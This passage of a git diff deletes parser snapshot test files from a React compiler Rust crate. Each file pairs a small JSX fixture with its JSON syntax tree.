-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "View",
-                      "loc": null,
-                      "range": [
-                        253,
-                        257
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      251,
-                      258
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    166,
-                    258
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    258,
-                    263
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "View",
-                  "loc": null,
-                  "range": [
-                    265,
-                    269
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  263,
-                  270
-                ]
-              },
-              "loc": null,
-              "range": [
-                153,
-                270
-              ]
-            },
-            "loc": null,
-            "range": [
-              140,
-              275
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          277
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        277
-      ],
-      "loc": null,
-      "range": [
-        0,
-        277
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    277
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inner-memo-value-not-promoted-to-outer-scope-static.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inner-memo-value-not-promoted-to-outer-scope-static.js.snap
deleted file mode 100644
index de7548a615c4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inner-memo-value-not-promoted-to-outer-scope-static.js.snap
+++ /dev/null
@@ -1,432 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/inner-memo-value-not-promoted-to-outer-scope-static.js
----
-Input:
-function Component(props) {
-  const count = new MaybeMutable();
-  return (
-    <View>
-      <View>
-        {<span>Text</span>}
-        {<span>{maybeMutate(count)}</span>}
-      </View>
-    </View>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    41
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "MaybeMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      48,
-                      60
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    44,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              63
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "View",
-                  "loc": null,
-                  "range": [
-                    80,
-                    84
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  79,
-                  85
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    85,
-                    92
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "View",
-                      "loc": null,
-                      "range": [
-                        93,
-                        97
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      92,
-                      98
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXText",
-                      "value": "\n        ",
-                      "raw": "\n        ",
-                      "loc": null,
-                      "range": [
-                        98,
-                        107
-                      ]
-                    },
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "span",
-                            "loc": null,
-                            "range": [
-                              109,
-                              113
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            108,
-                            114
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXText",
-                            "value": "Text",
-                            "raw": "Text",
-                            "loc": null,
-                            "range": [
-                              114,
-                              118
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "span",
-                            "loc": null,
-                            "range": [
-                              120,
-                              124
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            118,
-                            125
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          108,
-                          125
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        107,
-                        126
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n        ",
-                      "raw": "\n        ",
-                      "loc": null,
-                      "range": [
-                        126,
-                        135
-                      ]
-                    },
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "span",
-                            "loc": null,
-                            "range": [
-                              137,
-                              141
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            136,
-                            142
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXExpressionContainer",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "maybeMutate",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  143,
-                                  154
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "count",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    155,
-                                    160
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                143,
-                                161
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              142,
-                              162
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "span",
-                            "loc": null,
-                            "range": [
-                              164,
-                              168
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            162,
-                            169
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          136,
-                          169
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        135,
-                        170
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n      ",
-                      "raw": "\n      ",
-                      "loc": null,
-                      "range": [
-                        170,
-                        177
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "View",
-                      "loc": null,
-                      "range": [
-                        179,
-                        183
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      177,
-                      184
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    92,
-                    184
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    184,
-                    189
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "View",
-                  "loc": null,
-                  "range": [
-                    191,
-                    195
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  189,
-                  196
-                ]
-              },
-              "loc": null,
-              "range": [
-                79,
-                196
-              ]
-            },
-            "loc": null,
-            "range": [
-              66,
-              201
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          203
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        203
-      ],
-      "loc": null,
-      "range": [
-        0,
-        203
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    203
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@interdependent-across-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@interdependent-across-if.js.snap
deleted file mode 100644
index b77ce61bd641..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@interdependent-across-if.js.snap
+++ /dev/null
@@ -1,555 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/interdependent-across-if.js
----
-Input:
-function compute() {}
-function foo() {}
-function Foo() {}
-
-/**
- * Should produce 1 scope:
- *
- * return: inputs=props.a & props.b & props.c; outputs=return
- *   const a = compute(props.a);
- *   const b = compute(props.b);
- *   if (props.c)
- *     foo(a, b);
- *   return = <Foo a={a} b={b} />
- */
-function Component(props) {
-  const a = compute(props.a);
-  const b = compute(props.b);
-  if (props.c) {
-    foo(a, b);
-  }
-  return <Foo a={a} b={b} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "compute",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          16
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          19,
-          21
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        21
-      ],
-      "loc": null,
-      "range": [
-        0,
-        21
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          31,
-          34
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          37,
-          39
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        22,
-        39
-      ],
-      "loc": null,
-      "range": [
-        22,
-        39
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          49,
-          52
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          55,
-          57
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        40,
-        57
-      ],
-      "loc": null,
-      "range": [
-        40,
-        57
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          304,
-          313
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            314,
-            319
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    331,
-                    332
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "compute",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      335,
-                      342
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          343,
-                          348
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          349,
-                          350
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        343,
-                        350
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    335,
-                    351
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  331,
-                  351
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              325,
-              352
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    361,
-                    362
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "compute",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      365,
-                      372
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          373,
-                          378
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          379,
-                          380
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        373,
-                        380
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    365,
-                    381
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  361,
-                  381
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              355,
-              382
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  389,
-                  394
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  395,
-                  396
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                389,
-                396
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        404,
-                        407
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          408,
-                          409
-                        ]
-                      },
-                      {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          411,
-                          412
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      404,
-                      413
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    404,
-                    414
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                398,
-                418
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              385,
-              418
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    429,
-                    432
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        433,
-                        434
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          436,
-                          437
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        435,
-                        438
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      433,
-                      438
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        439,
-                        440
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          442,
-                          443
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        441,
-                        444
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      439,
-                      444
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  428,
-                  447
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                428,
-                447
-              ]
-            },
-            "loc": null,
-            "range": [
-              421,
-              448
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          321,
-          450
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        295,
-        450
-      ],
-      "loc": null,
-      "range": [
-        295,
-        450
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    450
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@interdependent.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@interdependent.js.snap
deleted file mode 100644
index f78aa452e90d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@interdependent.js.snap
+++ /dev/null
@@ -1,504 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/interdependent.js
----
-Input:
-/**
- * Should produce 1 scope:
- *
- * return: inputs=props.a & props.b; outputs=return
- *   const a = compute(props.a);
- *   const b = compute(props.b);
- *   foo(a, b);
- *   return = <Foo a={a} b={b} />
- */
-function Component(props) {
-  const a = compute(props.a);
-  const b = compute(props.b);
-  foo(a, b);
-  return <Foo a={a} b={b} />;
-}
-
-function compute() {}
-function foo() {}
-function Foo() {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          215,
-          224
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            225,
-            230
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    242,
-                    243
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "compute",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      246,
-                      253
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          254,
-                          259
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          260,
-                          261
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        254,
-                        261
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    246,
-                    262
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  242,
-                  262
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              236,
-              263
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    272,
-                    273
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "compute",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      276,
-                      283
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          284,
-                          289
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          290,
-                          291
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        284,
-                        291
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    276,
-                    292
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  272,
-                  292
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              266,
-              293
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  296,
-                  299
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    300,
-                    301
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    303,
-                    304
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                296,
-                305
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              296,
-              306
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    317,
-                    320
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        321,
-                        322
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          324,
-                          325
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        323,
-                        326
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      321,
-                      326
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        327,
-                        328
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          330,
-                          331
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        329,
-                        332
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      327,
-                      332
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  316,
-                  335
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                316,
-                335
-              ]
-            },
-            "loc": null,
-            "range": [
-              309,
-              336
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          232,
-          338
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        206,
-        338
-      ],
-      "loc": null,
-      "range": [
-        206,
-        338
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "compute",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          349,
-          356
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          359,
-          361
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        340,
-        361
-      ],
-      "loc": null,
-      "range": [
-        340,
-        361
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          371,
-          374
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          377,
-          379
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        362,
-        379
-      ],
-      "loc": null,
-      "range": [
-        362,
-        379
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          389,
-          392
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          395,
-          397
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        380,
-        397
-      ],
-      "loc": null,
-      "range": [
-        380,
-        397
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    206,
-    397
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inverted-if-else.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inverted-if-else.js.snap
deleted file mode 100644
index 622e6add63de..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inverted-if-else.js.snap
+++ /dev/null
@@ -1,304 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/inverted-if-else.js
----
-Input:
-function foo(a, b, c) {
-  let x = null;
-  label: {
-    if (a) {
-      x = b;
-      break label;
-    }
-    x = c;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "NullLiteral",
-                  "loc": null,
-                  "range": [
-                    34,
-                    38
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  38
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              39
-            ]
-          },
-          {
-            "type": "LabeledStatement",
-            "label": {
-              "type": "Identifier",
-              "name": "label",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                42,
-                47
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      59,
-                      60
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              70,
-                              71
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              74,
-                              75
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            70,
-                            75
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          70,
-                          76
-                        ]
-                      },
-                      {
-                        "type": "BreakStatement",
-                        "label": {
-                          "type": "Identifier",
-                          "name": "label",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            89,
-                            94
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          83,
-                          95
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      62,
-                      101
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    101
-                  ]
-                },
-                {
